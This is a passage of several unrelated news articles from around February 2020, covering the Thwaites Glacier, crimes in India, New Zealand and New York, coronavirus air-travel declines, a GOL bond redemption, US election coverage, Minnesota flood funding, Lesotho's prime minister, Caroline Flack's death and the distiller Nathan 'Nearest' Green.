directions well under it threatening to destroy the ice sheet and raise global sea levels by up to two feet. A team of scientists from Oregon State University made the most of ice free waters in West Antarctica to look under the glacier - which is about the size of Great Britain. Warm water from the deep ocean is welling up under the glacier from three different directions and mixing under the ice, the researchers discovered. If it collapses it could take other parts of the ice shelf with it and lead to the single largest driver of sea-level rise this century, lead researcher Erin Pettit told Nature. Researchers sent a robotic submersible called Ran - named after the Norse god of the sea - under the ice at Thwaites Glacier and discovered streams of warm water Researchers are studying Thwaites in detail, with various ongoing studies. One piece of research is looking at the grounding line - the region - where the glacier rests on the ocean bed and where it floats over water. It is a crucial site for glacial melt and warm water is coming from three different directions, a new study has found The 39million study involving UK and US scientists was launched after concerns the increasingly unstable glacier may have already started to collapse. They are working to gather data from a range of different experiments and tests to better predict if an when Thwaites it will happen. The latest findings from a study into the wider ice shelf the glacier sits on come two years into the five year project. Glaciologist Erin Pettit and her team worked directly on the ice shelf conducting seismic tests to study the sea floor and deploy sensor 980ft into the ice. They are studying the wider shelf, which extends across more than 65miles of open ocean and acts as a cork holding back ice on land, Pettit said. 'Thwaites has got these three guns pointed right at it,' Pettit, a glaciologist at Oregon State University, 'water is coming from all direction'. Melting of Thwaites is cause for global concern as its sheer enormity means that it contains enough ice that, if it was to melt, there would be worldwide implications. Thwaites Glacier is in West Antarctica and is sometimes called the Doomsday Glacier due to its potential impact on global sea levels Other groups will look at the glacier's flow on land and the ocean circulation - with all of the research feeding into models of the glacier and its future. 'We've never seen an ice sheet disintegrate in a warming climate, so we're struggling to project how it could happen,' glaciologist Ted Scambos told Nature. Sometimes called the Doomsday Glacier due to the potential impact its collapse could have on sea levels, Thwaites is unusually broad and fast. Already, Thwaites accounts for about four per cent of global sea-level rise as warming waters cause it to melt from the underside. Researchers have long held concerns that a tipping point in the stability at its foundations could result in a run-away collapse of the glacier. GLACIERS AND ICE SHEETS MELTING WOULD HAVE A 'DRAMATIC IMPACT' ON GLOBAL SEA LEVELS Global sea levels could rise as much as 10ft (3 metres) if the Thwaites Glacier in West Antarctica collapses. Sea level rises threaten cities from Shanghai to London, to low-lying swathes of Florida or Bangladesh, and to entire nations such as the Maldives. In the UK, for instance, a rise of 6.7ft (2 metres) or more may cause areas such as Hull, Peterborough, Portsmouth and parts of east London and the Thames Estuary at risk of becoming submerged. The collapse of the glacier, which could begin with decades, could also submerge major cities such as New York and Sydney. Parts of New Orleans, Houston and Miami in the south on the US would also be particularly hard hit. A 2014 study looked by the union of concerned scientists looked at 52 sea level indicators in communities across the US. It found tidal flooding will dramatically increase in many East and Gulf Coast locations, based on a conservative estimate of predicted sea level increases based on current data. The results showed that most of these communities will experience a steep increase in the number and severity of tidal flooding events over the coming decades. By 2030, more than half of the 52 communities studied are projected to experience, on average, at least 24 tidal floods per year in exposed areas, assuming moderate sea level rise projections. Twenty of these communities could see a tripling or more in tidal flooding events. The mid-Atlantic coast is expected to see some of the greatest increases in flood frequency. Places such as Annapolis, Maryland and Washington, DC can expect more than 150 tidal floods a year, and several locations in New Jersey could see 80 tidal floods or more. In the UK, a two metre (6.5 ft) rise by 2040 would see large parts of Kent almost completely submerged, according to the results of a paper published in Proceedings of the National Academy of Science in November 2016. Areas on the south coast like Portsmouth, as well as Cambridge and Peterborough would also be heavily affected. Cities and towns around the Humber estuary, such as Hull, Scunthorpe and Grimsby would also experience intense flooding. Advertisement A map showing what the land is like underneath the ice on Antarctica created as part of the wider project is helping scientists predict the impact of global warming on the frozen continent - they used data from seismology and air surveys As part of the wider project a number of robotic vehicles have been sent under the ice to gather data including one called Ran - named after the Norse god of the sea. That information was used to add to a detailed map of the sea floor and information on the conditions of the ocean and currents. 'The conditions were perfect: calm seas, open water,' Anna Wahlin, an oceanographer with the University of Gothenburg in Sweden told Nature. An earlier robotic submarine was able to confirm the presence of warm water under the ice, which Pettit and her team expanded on to find there were three sources of the warm water all 'attacking' the glacier from different sides. Thwaites is split into two sections - a stable eastern side with a rocky outcrop and flows of about 1,900ft per year and a western side with flows of 1.2 miles per year. 'It's not just a flat sheet of ice that is melting uniformly. It's more complex than we thought,' Pettit told Nature. As part of the wider project a number of robotic vehicles have been sent under the ice to gather data including one called Ran - named after the Norse god of the sea The team were able to use data gathered by the robot to create a detailed map of the sea floor underneath the glacier Using radar to study the inside of the shelf they found it was full of channels, ridges and cliffs created by warm currents. The likelihood of it collapsing - or when it might happen - won't be known for at least another three years - until the end of the full study, researchers say. Next year the little robot submarine will create a large map of the area all the way to where the main body of the glacier sits on bedrock. They will also use a combination of gliders, drilling and other sensors to gather as much data as they can about the seafloor and ocean currents. Wahlin says if they don't have answers on Thwaite's future by the end of the study in three years time 'it would be shameful'. She said by then we should know much more about the risks the ice shelf poses. Leaders from the Congress and the BJP on Friday visited Nagaur, where two Dalit men were beaten up in an act caught on camera. Jaipur: Leaders from the Congress and the BJP on Friday visited Nagaur, where two Dalit men were beaten up in an act caught on camera. Union minister Arjun Ram Meghwal led the BJP panel to look into the incident while the Congress sent a team headed by Rajasthan revenue minister Harish Chaudhary. Meghwal lashed at the Ashok Gehlot-led Congress government, saying it was responsible for the incident. "The chief minister is holding the portfolio of home minister but there is no control over crime and the government is responsible for the incident," Meghwal, the minister of state for heavy industries and public enterprises, said. Rashtriya Loktantrik MLA Narayan Beniwal also visited the town and met the victims who were allegedly beaten up, stripped and tortured by staffers of a motorcycle service agency after accusing them of committing theft. The brutal incident came to light after a video of the assault went viral. In the video, a group of men is seen thrashing two persons with rubber belts. They later dip a piece of cloth wrapped on a screwdriver in petrol and insert it in the private parts of one of the victims. Meghwal, who represents the Bikaner parliamentary constituency in Parliament, also accused police of manipulating the case. "There was also a failure on part of the police because they could not get to know about the incident when it happened," he said. The Union minister alleged that the victims were under pressure. Meghwal was accompanied by party legislators Madan Diwalar and Mohan Ram. After meeting the victims, the BJP panel visited the spot where the incident took place on Sunday. It also visited the Panchodi police station where an FIR regarding the incident has been registered. Meghwal said an inquiry report of the panel will be submitted to BJP's state president Satish Poonia in Jaipur on Saturday. The Congress leaders who visited the victims included revenue minister Harish Chaudhary, social justice and empowerment minister master Bhanwar Lal Meghwal, forest minister Sukhram, MLA Harish Meena and PCC general secretary Mahesh Sharma. "We met the victims and their family members and also held talks with locals as well as officials," Chaudhary said. Police have so far arrested seven persons in connection with the case. "Seven people have been arrested after registering a case against them under various sections of IPC and the SC/ST Act. A cross FIR has also been registered for stealing money. We are ascertaining how much money was stolen from the service agency counter. Further investigation in the matter is on," DSP, Nagaur, Mukul Sharma had said on Thursday. Section 308 of IPC (attempt to commit culpable homicide) was also been added in the FIR. The arrested accused have been identified as Bhim Singh, Idaan Singh, Hanuman Singh, Raghuveer Singh, Chhail Singh, Chhatar Singh and Rehmatullah. Director General of Police Bhupendra Singh said in Jaipur that the matter was being investigated thoroughly and none will be spared. He said the IG Human Rights has been sent to Nagaur to monitor the investigation. A delegation of the Bahujan Samaj Party (BSP) met the DGP and handed over him a representation demanding justice for the victims and also government jobs for them. A 2-year-old girl died Wednesday at an RV park in Texas after she fell nearly 15 feet into a septic tank and was unable to be rescued for over an hour. Charleigh Nicole Nelson was walking on the lid of the tank at Paradise Lagoons RV Resort in Rockport when she fell in, NBC affiliate KRIS-TV reported. The Nelson family, with the help of other park civilians, attempted to rescue the little girl with rope, shovels and backhoes, but were ultimately unsuccessful. The Rockport Police Department, Allegiance EMS, Rockport & Fulton Volunteer Fire Departments, and the Aransas Pass Fire Department responded to the scene around 5:30 p.m., according to a Rockport Volunteer Fire Department press release. After about an hour, a member of the Ingleside Volunteer Fire Departments rope rescue team was lowered into the tank through a 2-foot-wide hole and was able to rescue Nelsons body. Unfortunately the child had been under water for a significant period of time, and when she was removed from the septic tank she had passed away, the release said. The tank was filled with 2 to 3 feet of water, and Nelson was stuck inside for over an hour, according to ABC affiliate KSAT. Were dealing with a very, very horrible, tragic accident, Rockport Police Department Cmdr. Larry Sinclair told KRIS. A spokesperson for the Rockport Police Department did not immediately respond to PEOPLEs request for comment. RELATED: Florida Toddler, 2, Hit and Killed by Mothers SUV 4 Years After Sister Died in Similar Accident This is a terrible tragedy for the family of this child, her neighbors who witnessed the event, and all of the 1st responders who assisted in the recovery, the fire department wrote, urging parents to keep an extra eye on children especially near bodies of water. Brittney Nelson, Charleighs mother, wrote on Facebook that the family is in disbelief following the incident. We are clinging to each other tonightPlease, please keep praying, she wrote. Pray for our family members that are traveling to us as well. I love each and every person who has messaged us. We are definitely going to need yall. The New York Police Department has released bodycam and surveillance footage of the moment a gang member shoots dead another man before he is killed by two officers. Newly released video shows the fatal January encounter unfolding around 3.30am when two men got into a verbal altercation after leaving a hookah lounge in the East Village. Earl Facey, 37, and Richard Reed, 41, were both inside the club with friends when the two groups got into a disagreement, prompting a bouncer to kick them out. Once outside, Facey can be seen unveiling a gun and opening fire at Reed. Just seconds later, Reed responds by pulling out his own weapon and shooting at Facey. Early Facey (pictured) got into a verbal argument with Richard Reed in the East Village before using a firearm to fatally shoot the gang member Reed (left) then drew his own weapon and fired shots at Facey outside a hookah lounge on January 9 A reflection captured in a store's glass window reveals the moment Reed was fatally hit by Facey and collapsed to the ground Reed was being pursued by Facey on foot until he was fatally struck and collapsed on the ground. A reflection captured in a store's glass window shows the moment Reed was hit and subsequently fell. Meanwhile, two police officers from the 9th Precinct were patrolling the area and were alerted to the incident after hearing gunshots. Authorities say officers Liam Murphy and Christopher Christopher Mclaughlin arrived to the scene in time to witness Facey shooting the Reed. NYPD officers Liam Murphy and Christopher Christopher Mclaughlin approached Facey (center) after he shot Reed near Avenue A Both men order Facey to stop moving and end up shooting the gunman three times after he refused to follow officers' commands The officers exited their vehicle and commanded Facey get on the ground. Facey refused the officers' commands and walked away from the men with his firearm still drawn. He continued to ignore the officers and attempted to cross a roadway when he lifted up his left arm. That prompted the officers to shoot Facey three times, fatally wounding him. The two men emerged from a hookah bar at Avenue A and East 7th Street and got into an argument, which culminated with one pulling out a gun and shooting the other Police recovered two .22-caliber handgun after two men got into a dangerous altercation in the East Village on January 9 Both Facey and Reed were transported to Bellevue Hospital, but were later pronounced dead. Neither Murphy nor Mclaughlin were injured, but they were also taken the hospital to be treated for ringing in their ears. Authorities recovered two .22 caliber handguns from the scene. One was underneath Facey's torso and another near Reed. It's believed that the men did not know each other prior to the incident, but both were involved in previous shootings. The decline poses economic risks, too, as China is a major source of tourism to countries like the United States. It is, in part, a response to fears that the virus could become a pandemic. In Europe, 47 people in nine countries have been infected so far. The slowdown in air travel has started to spread to popular destinations for Chinese travelers, like Japan and South Korea. Thousands of planes criss-cross China every day, but that number has fallen sharply as flights are canceled to help combat the coronavirus. The disappearance of tens of thousands of flights from Chinas skies in recent weeks points to how the coronavirus has hobbled a nation. The flight suspensions started to mount late last month as countries and airlines sharply limited service in response to the accelerating spread of the virus, which as of Friday has infected at least 76,000 people and killed more than 2,200, most of them in China. Within just three weeks from Jan. 23 to Feb. 13 the number of daily departures and arrivals for domestic and international flights dropped to just 2,004, from 15,072, according to Flightradar24, an industry data firm. Over 13,000 flights a day, lost to a crisis. Chinas daily domestic and international flights International flights Jan. 1 Feb. 13 0 1,000 2,000 3,000 4,000 Jan. 23 Travel bans start Domestic flights Jan. 1 Feb. 13 0 3,000 6,000 9,000 12,000 Source: Flightradar24 Restrictive measures adopted by China helped to delay the spread of the virus to other countries by two to three weeks, the World Health Organization said this week. Officials in China closed off Wuhan, the epicenter of the outbreak, on Jan. 23, and began canceling train, bus and airline travel; closing schools and factories; and pressuring residents to stay home around the country. But Chinas increasing isolation from the world could have lasting economic consequences. When tourists stop showing up to the temples in Kyoto or the malls in Hong Kong or the beaches in Thailand, their absence is felt. Chinese travelers account for about a fifth of all tourism spending, more than any other country, according to the U.N.s World Tourism Organization. In 2018, Chinese residents spent $277 billion abroad, according to the U.N., or nearly twice as much as residents of the United States. Daily flights to the top four destinations for Chinese tourists Japan Jan. 1 Feb. 13 0 150 300 Jan. 23 Travel bans start Hong Kong Jan. 1 Feb. 13 0 150 300 Thailand Jan. 1 Feb. 13 0 150 300 South Korea Jan. 1 Feb. 13 0 150 300 Source: Flightradar24 Its still too early to tell what the overall impact will be, but Wall Street firms, analysts and economists have been trying to calculate the costs. As China struggles to reopen for business, a range of companies have warned that the outbreak may weigh on their financial performance. Japan, whose economy had already been teetering, is facing a possible recession. Oxford Economics said in a new report that, in a worst-case scenario, the outbreak could cut $1.1 trillion in global output. If the coronavirus crisis is anything like the SARS outbreak in the early 2000s, it could eliminate $29 billion in global airline revenue this year, resulting in a small industry contraction, the International Air Transport Association said on Thursday. The vast majority of the losses would be concentrated among airlines in the Asia-Pacific region, it said. The SARS outbreak wiped out about $6 billion in annual revenue for airlines in that part of the world and it took nine months for international passenger traffic to recover, the association said last month. But the coronavirus has so far proved more lethal, more widespread and more damaging to flight traffic in China, which today plays a far bigger role in global travel than it did two decades ago. SAO PAULO, Feb. 21, 2020 /PRNewswire/ -- GOL Linhas Aereas Inteligentes S.A. (NYSE: GOL and B3: GOLL4) ("GOL" or the "Company") today announced that GOL Finance initiated an optional redemption of its 8.875% Senior Notes due 2022 (the " Notes "). The Notes will be redeemed on March 23, 2020 (the "Redemption Date") at a redemption price (the "Redemption Price") equal to 102.219% of the principal amount of the Notes to be redeemed, plus accrued and unpaid interest, if any, to, but excluding, the Redemption Date. Notes held through The Depository Trust Company ("DTC") should be surrendered for redemption in accordance with DTC's procedures therefor. The Company has been informed that all Notes are held through DTC. The Notice of Redemption of the Notes will be sent to all registered holders on February 21, 2020. Interest on the Notes will cease to accrue on and after the Redemption Date, subject to certain exceptions, and the only remaining right of holders of the Notes is to receive payment of the Redemption Price. GOL Finance is exercising the call option on these Notes as a part of GOL's ongoing capital structure strategy, which aims to properly match the tenor of long-term assets and liabilities, optimize the cost of capital, improve cash flows and grow earnings. Since 2017, the Company redeemed or retired R$3.7 billion of debt, reducing GOL's overall funding costs, and successfully re-positioned its credit among the world's leading low-cost carriers. In 2019, its credit rating was upgraded by the three major corporate credit rating agencies to B/B+. "We continue to strengthen GOL's equilibrium through our disciplined capital structure optimization, with the view to further improving our credit rating this year," said Richard Lark, the Company's CFO. The redemption will be funded from the proceeds of long-term aircraft asset divestments realized earlier this year. This press release is for informational purposes only and does not constitute a notice of redemption of the Notes. Investor Relations [email protected] www.voegol.com.br/ir +55(11) 2128-4700 Cautionary Note Regarding Forward-Looking Statements This press release may contain forward-looking statements. These statements are statements that are not historical facts, and are based on management's current view and estimates of future economic circumstances, industry conditions, Company performance and financial results. The words "anticipates," "believes," "estimates," "expects," "plans" and similar expressions, as they relate to the Company, are intended to identify forward-looking statements that are subject to a number of risks and uncertainties. There is no guarantee that the expected events, trends or results will actually occur. The statements are based on assumptions and factors, including general economic and market conditions, and any changes in such assumptions or factors could cause actual results to differ materially from current expectations. About GOL Linhas Aereas Inteligentes S.A. GOL serves more than 36 million passengers annually. With Brazil's largest network, GOL offers customers more than 750 daily flights to over 100 destinations in Brazil and in South America, the Caribbean and the United States. GOLLOG's cargo transportation and logistics business serves more than 3,400 Brazilian municipalities and more than 200 international destinations in 95 countries. SMILES allows over 16 million registered clients to accumulate miles and redeem tickets to more than 700 destinations worldwide on the GOL partner network. Headquartered in Sao Paulo, GOL has a team of approximately 16,000 highly skilled aviation professionals and operates a fleet of 137 Boeing 737 aircraft, delivering Brazil's top on-time performance and an industry leading 19 year safety record. GOL has invested billions of Reais in facilities, products and services and technology to enhance the customer experience in the air and on the ground. GOL's shares are traded on the NYSE (GOL) and the B3 (GOLL4). For further information, visit www.voegol.com.br/ir. SOURCE GOL Linhas Aereas Inteligentes S.A. T he detective who led the investigation into British backpacker Grace Millanes killing has said he believes rough sex should not be considered a defence to murder. Detective Inspector Scott Beard spoke out after Miss Millanes killer Jesse Kempson was handed a life sentence on Friday for strangling the young woman to death in December 2018. Miss Millanes parents were present throughout Kempson's three-week trial and had to listen as her sex life in the spotlight as part of Kempson's defence. Speaking on the steps of Auckland High Court after the killer was sentenced, Detective Beard said "rough sex" should not be used as a defence in court. British backpacker Grace Millane was murdered in New Zealand / PA "Strangling someone for five to ten minutes until they die is not rough sex," he said. "If people are going to use that type of defence, all it actually does is repetitively revictimises the victim and the victim's family. "In this case, the Millanes have had to sit through a trial for a number of weeks and their daughter's background, rightly or wrongly, was out in the public. "I don't believe that rough sex should be a defence. I understand why the defence would use it but the bottom line is the individual has killed someone." The killer told a series of lies to police during the investigation, including a claim that they had gone their separate ways after the date and he had spent the rest of the night drinking in a bar. David and Gillian Millane speaking to media outside Auckland High Court in November after their daughter's killer was found guilty / Getty Images When his initial story began to unravel, Kempson admitted killing her but insisted it was an accident that happened during rough sex. He then mounted a defence at trial centred on evidence of Miss Millanes sex life and interest in BDSM. However, his defence was rubbished by a forensic pathologist, who said pressure must have been applied to Miss Millanes neck for between five to 10 minutes, and he had never heard of an accidental death due to consensual sexual strangulation. The killer was handed life in prison with a minimum non-parole period of 17 years at his sentencing at Auckland High Court on Friday morning. Gillian Millane holds a family photograph during her televised victim impact statement from her home in the UK / Getty Images Jailing him for life with a minimum term of 17 years, Justice Simon Moore told the murderer his actions amounted to "conduct that underscores a lack of empathy and sense of self-entitlement and objectification". Appearing in court via video link before the killer was jailed, Miss Millane's mother Gillian told how her daughter was my friend. My very best friend. Addressing the 28-year-old murderer directly in an emotional statement read from the family home, she said Miss Millane died terrified and alone in a room with you. She said: The terror and pain she must have experienced at your hands, as a mother I would have done anything to change places with her. She died terrified and alone in a room with you. Mrs Millane added: The tears I shed are never-ending at the thought of never having the chance to kiss my Grace goodbye. The parents of Grace Millane, David and Gillian Millane / Getty Images Miss Millane, a Lincoln University graduate, was on a round-the-world trip when she was murdered. She got in touch with Kempson through the Tinder dating app and they went for drinks in bars in Auckland on December 1. They were caught on camera kissing and holding hands during the date, before walking back to the CityLife hotel where the man was living in a 190-a-week third-floor apartment. Miss Millane messaged her best friend during the date, saying, I click with him so well. She added: I will let you know what happens tomorrow. CCTV from the hotel lift showing her exiting on the third floor was the last time she was seen alive. Miss Millane was murdered in the hotel room on the eve of her 22nd birthday. Her killer pinned her down and throttled her for at least five minutes. He took photos of her naked body and viewed pornography on his phone, before turning his attention to covering up his crime. The killer was caught on camera buying cleaning products, a suitcase, and renting a car. At the same time he was arranging another date. Miss Millanes father flew to Auckland when her disappearance was being treated as a missing person inquiry. Her body was found on December 9, 2018. Washington: Intelligence officials say Russia is interfering with the 2020 US election to try to help President Donald Trump get re-elected, The New York Times reported. Russian President Vladimir Putin has long nursed a grudge against the West. Credit:AP The Times said intelligence officials told lawmakers about the interference in a February 13 closed-door briefing to the House Intelligence Committee. It said the disclosure angered Trump, who complained the Democrats would use the information against him. He berated the outgoing director of national intelligence, Joseph Maguire, the next day. The Times attributed the report to five unidentified people familiar with the matter. The Associated Press could not immediately confirm the account. Billionaire presidential hopeful Mike Bloomberg spent more than $463 million in the first two months of his campaign, a report filed to the Federal Election Commission reveals. The former New York Mayor poured $220 million of his own money into his campaign in January alone, including $126.5 million on TV ads and $45.5 million on online advertising. Bloomberg pledged at the start of his Democratic campaign bid to only use his own cash and take no outside donations, which he has stuck to. The new campaign disclosure shows that Bloomberg's campaign spent on average around $7 million per day in January. A campaign aide says more than 2,100 employees have been recruited around the country, according to ABC News, with more than $7 million being paid in wages last month alone. Bloomberg - who has already apologized for pushing his stop-and-frisk policy - was forced to say sorry for remarks he made about minority men during a 2015 speech Data from ad analysis firm Kantar/CMAG reveals that the Bloomberg campaign had spent more than $427 million just on television, radio and online ads up until Thursday afternoon. The campaign also paid its primary digital agency Hawkfish LLC - an ad tech start-up founded by Bloomberg - about $13.7 million in January for digital services including content creation, ad placement and analytics, according to a campaign aide.. The former mayor has been accused of using wealth to influence the contest and his rival Bernie Sanders has accused Bloomberg of trying to 'buy the presidency' and slamming him for not registering to be on the ballot in the early voting states. The 78-year-old Vermont senator said of Bloomberg during a CNN town hall Tuesday: 'He said, "I don't have to do that. I'm worth $60 billion. I have more wealth than the bottom 123 million Americans. I'll buy the presidency." 'That offends me very much.' Bloomberg defended his spending saying: 'I'm not trying to buy the election. We've been at this for 10 weeks, and the best way to communicate in 10 weeks is through something like mass media, through television and social media. 'And the other people that are running have been doing it for the last couple years, so maybe they don't need to do it. But it's a way for me to get out to this whole country.' Bloomberg (right) has been accused of 'trying to buy the presidency' by rival Bernie Sanders (left). Bloomberg hit back during Wednesday night's debate by mocking Sanders' property portfolio Democratic Presidential candidates (L-R) former NYC Mayor Michael R. Bloomberg, Massachusetts Senator Elizabeth Warren, Vermont Senator Bernie Sanders, former US Vice President Joe Biden, former South Bend Mayor Pete Buttigieg and Minnesota Senator Amy Klobuchar attend the ninth Democratic presidential debate at the Paris Theater in Las Vegas Bloomberg also hit back at Sanders during Wednesday's Democratic debate, mocking the millionaire socialist's property portfolio. He said: 'The best known socialist in the country happens to be a millionaire with three houses. What did I miss?' Sanders, who has taken the lead in the recent national polls in the race, has had to defend his health, his ability to beat President Trump in November and now his estimated net worth of $2.5 million. Bloomberg senior advisor Tim O'Brien told CNN's Wolf Blitzer: 'First and foremost we ask, what is the price to save democracy from Donald Trump. 'Michael Bloomberg is doing this right now because he sees this as the culmination of his life's work. As we've said repeatedly, this big electoral machine we're building -- we're in 45 states and territories, 2100 people on the ground -- will be in the service of the party, or whoever the nominee is.' With the threat of spring flooding looming, Minnesota Gov. Tim Walz has asked lawmakers to approve $30 million to replenish a state disaster aid fund that was drained by a string of disasters last year. Walz said an updated flood forecast from the National Weather Service is expected in early March, but there are flashing yellow lights already due to the incredibly wet fall that left soils saturated in many parts of the state heading into the winter, and the heavy snowpack since then. It would be irresponsible not to assume that were going to have a pretty wet spring and the potential for flooding as there was last year, the governor said at a news conference. Rep. Gene Pelowski, of Winona, who created the states Disaster Assistance Contingency Account, is sponsoring the proposal and plans to hold a hearing on it Monday. He said he expects to line up a Senate sponsor by Monday. No local unit of government can sustain the amount of work and the amount of resources it takes once these disasters hit, Pelowski said. Legislation last year to add $10 million to the fund was one of the first bipartisan successes of the 2019 session and one of the first bills that the Democratic governor signed into law. He later approved $20 million more. Walz said his goal is to get the new funds signed into law by April 1. Walz quickly picked up a useful Republican ally, Senate Finance Committee Chair Julie Rosen, of Vernon Center, who said she wholeheartedly supports the governors request. Given the challenges we are expected to face this spring, its important we are prepared to give counties and communities the support they will need, Rosen said in a statement. This is one of my top priorities, and I am glad the governor is making it a priority as well. The state has already committed that full $30 million because of 10 major disasters last year, said Joe Kelly, the states director of Homeland Security and Emergency Management, and the account is already projected to be $2.7 million in the hole. The state uses the fund to provide the required match when theres a federal disaster declaration, and to provide state money that local governments match in less serious state disaster emergencies. The money helps local governments with cleanup and repair costs. Pelowski estimated that the fund has helped the Legislature avoid at least a dozen special sessions since it was created in 2014. The fund is critical to the resilience of our cities, enabling them to recover quickly said Doug Berglund, director of emergency management for Washington County. The National Weather Service last week said current conditions suggest spring flooding across the region is more likely than usual. But the agency held off on saying significant flooding was certain because it depends on what happens over the next several weeks. Officials at the news conference urged homeowners to consider buying flood insurance soon because it takes 30 days to become effective, and consider whether their homeowners insurance includes sufficient protection against water and sewer backups. Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Topics Flood Minnesota The prime minister of Lesotho, Thomas Thabane, on Friday failed to appear in court, where he was expected to face charges of murder, attempted murder and malicious damage to property. Police said on Thursday that Mr Thabane would be charged for the murder of his second wife, Lipolelo. According to his private secretary, he did not arrive at court because he was having a medical check-up in neighbouring South Africa. Private secretary Thabo Thakalekoala told dpa, after widespread speculation that Thabane had skipped the country. It is not true that he has gone to South Africa to seek political asylum. Preparations will be made when he will appear before the court, Mr Thakalekoala said. Deputy police commissioner Paseka Mokete told dpa they had not yet received confirmation of the prime ministers whereabouts and would take it from there. Mr Mokete told South African radio station 702 earlier that Thabane would be formally charged with three counts murder, attempted murder, and malicious damage to property. Earlier in the month, Mr Thabanes current wife, Maesaiah Thabane, was arrested, charged and granted bail after handing herself over to the authorities. We will charge him along with his wife, because they had a common purpose, Mr Mokete said. Mrs Thabane, who married the prime minister in 2017, shortly after his previous wife was shot and killed while travelling in her car, went into hiding in mid-January after being called in for questioning. Mr Thabane came under increased pressure to resign and conducted a news conference at State House in the capital, Maseru, on Thursday, announcing he would step down in July. (dpa/NAN) If you have been affected by this story, you can call the Samaritans on 116 123 or visit www.samaritans.org Nicola McLean appeared on the Jeremy Vine show on Friday to discuss her friend Caroline Flack's tragic death. The reality star said that she had regularly checked in on Caroline, but that the trial had been weighing heavily on her mind. Nicola, 38, said: 'Everyone who was her friend was definitely worried about her. I was worried about her. I did what we all did and reached out to her. 'All her friends were worried': Nicola McLean discussed Caroline Flack's tragic death on the Jeremy Vine show on Friday and claimed 'she was terrified of her upcoming trial' Sad: Nicola believes that Caroline, 40, should have held onto her job as Love Island host until she was found guilty, although she doesn't believe that would have been the outcome 'We were always in conversation anyway and we checked if she was alright and obviously she wasn't. 'She was terrified of the trial and who wouldn't have been? It was so wrong. Caroline went far too quickly. We don't want anyone else to [suffer] the same.' Nicola believes that Caroline, 40, should have held onto her job as Love Island host until she was found guilty, although she doesn't believe that would have been the outcome. Nicola, 38, said: 'Everyone who was her friend was definitely worried about her. I was worried about her. I did what we all did and reached out to her' She added: 'We were always in conversation anyway and we checked if she was alright and obviously she wasn't' Why did the CPS pursue the assault charges when the alleged victim - her boyfriend - wanted them dropped? The Crown Prosecution Service is under obligation to investigate all domestic violence incidents if they believe they are in the public interest. For years there has been growing concern that too few domestic violence cases end in prosecution. Many involve women who have been attacked by their husbands who later withdraw their original accusations under duress or because they are simply living in fear. To try and address this, the CPS introduced reforms in 2014 aimed at greatly increasing prosecution rates. They issued guidance to police urging them to gather multiple sources of evidence rather than just relying on the victim's statement - which may be unreliable or change. One of the most important sources of evidence in domestic abuse cases is likely to be the original 999 call made by the victim shortly after the attack. Other evidence could include witness statements from neighbours, medical examinations or images from the scene captured on police bodycams or CCTV. Miss Flack was understood to be horrified by the prospect of a 'show trial' over the alleged assault on her boyfriend Lewis Burton and was worried she could not cope with the fallout. Advertisement She said: 'She should have been in South Africa presenting Love Island... and we would have had a different outcome.' Caroline tragically took her own life on Saturday, the day after she had been told that the CPS was pursuing the court case against her after she was arrested at her home following a row with boyfriend Lewis Burton, 27, in December. The TV star had pleaded not guilty to assault by beating at Highbury Corner Magistrates' Court in North London on December 23 and was due to go on trial at March 4. Her management company have criticised the CPS for pressing ahead with what it called her 'show trial' even after Lewis said he did not support it. Caroline's good friend, Radio One DJ Nick Grimshaw also used The Pina Colada song to pay tribute to Caroline following her shock death. He said on his show on Monday: 'I just wanted to start the show by saying something about our friend, Caroline. 'I just feel really weird today, I feel really sad. Im obviously very shocked about what happened this weekend. 'Its such a tragedy and really brutal news to receive. Im sure you know she was one of my favourite people to have on the show, one of my favourite people full stop. 'I just thought she was brilliant, I thought she was so wicked. I know a lot of you listening were also big fans of Caroline. "Its just been very tough for me and her friends, who knew her personally, and Im sure it was for anyone who just enjoyed watching Caroline or seeing her on the telly or hearing her here on Radio 1.' If you have been affected by this story, you can call the Samaritans on 116 123 or visit www.samaritans.org Photo credit: Paolo Ferraris From Town & Country American whiskeys have always been proud of their heritage. From the Scottish and Irish immigrants who brought their distilling traditions to the new world, to moonshiners who kept the spirits alive during Prohibition, American whiskey makers have long leaned into the history of the liquor they bottle. And yet, for as long as whiskey has been distilled in the Statesand since long before we were a country of our ownthere's been another group contributing to the process whose stories have largely gone untold; those of Africans and African-Americans. Though their names are less known than the Jack Daniels and Jim Beams of the world, both free and enslaved black distillers were integral to creating what we know today as American whiskey. That's why one brand set out to celebrate one of the most essential unsung voices of American whiskey history (and help put his name on shelves next to his own, more famous protege)Uncle Nearest. Photo credit: MARC PAGANI Nathan "Nearest" Green was born in Maryland somewhere around 1820. Though it's unclear whether he was born into slavery, by adulthood he was an enslaved man working on a Dan Call's farm in Tennessee. Green built a reputation for himself as a talented distiller, specializing in a filtration method for his whiskey using sugar maple charcoal to give the spirit a smooth finish. The process itself may have been brought to the U.S. by West Africans who used charcoal to purify water, but nowadays it's better known as the Lincoln County Process, a defining trait that separates the Tennessee style of whiskey from bourbon During the 1850s, Green began mentoring a young white boy who had been hired at the farm, teaching him the secrets to his whiskey distilling method. While the boy's legal name was Jasper Newton, he would become better known to the world as Jack Daniel. Daniel himself always acknowledged Green's tutelage and even hired Green on as a free man after the Civil War to serve at the first master distiller of the Jack Daniel's operation. But Green's story was largely lost to history after his retirement, and might have remained so if not for a woman named Fawn Weaver, and Green's dedicated descendants. Story continues Photo credit: David Poag Weaver, an entrepreneur in everything from PR to private investment, stumbled across Green's story in 2016 and became enthralled. She relocated to Tennessee to delve deeper into Green's history, envisioning a book and film projects. In the process, she got in touch with many of Green's living descendantsincluding his granddaughter who passed away at the age of 108 last yearand began building a fuller picture of his legacy. "Id written half of the book and then had to pause because I lost track of Nearest in 1884no additional records, but I have reason to believe that was not the year of his death," says Weaver. Due to a fire that destroyed census data, there was a 16 year gap between the last records of Green's life and Weaver felt that she couldn't reasonably complete her project without that information. (She currently has two researchers looking for more pieces of the puzzle, and believes that both the book and a film about Green will one day come to fruition.) Stalled out on her original ventures, Weaver began looking to Green's own medium for making an impact. "Quite frankly, I had no interest in going to my friends and family and asking them to invest in a project that had 100 times more likelihood of failure than it did of success," she says of her reluctance to get into the whiskey business. But when Nearest's family members were asked how they felt he should be honored, their answer was that his name should live on a bottle. A descendant of Jack Daniel's family, who'd retired as the head of whiskey operations after 31 years, even offered to come out of retirement if Nearest were ever honored with a bottle, Weaver adds. "It seemed like it would have been irresponsible to not at least try. So, I tried. And we became a part of the 1% that not only did not fail, but are continuing to grow and thrive." Uncle Nearest, a whiskey inspired by Green and his legacy, launched in 2017 and has become the fastest-growing 